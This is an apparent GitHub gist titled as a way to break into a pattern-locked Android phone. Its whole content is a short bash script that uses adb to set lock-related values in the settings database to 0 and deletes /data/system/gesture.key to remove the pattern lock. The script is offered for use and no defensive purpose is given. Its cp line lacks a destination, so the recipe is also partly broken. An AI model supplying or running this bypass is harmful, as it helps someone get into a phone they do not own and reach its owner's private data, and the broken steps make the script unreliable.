Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
How to break into an Android phone that uses pattern lock...
#!/bin/bash
adb shell
cp /data/data/com.android.providers.settings/databases
sqlite3 settings.db
update system set value=0 where name='lock_pattern_autolock'
update system set value=0 where name='lockscreen.lockedoutpermanently'
#It's good to include this part too.
adb shell rm -f /data/system/gesture.key
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment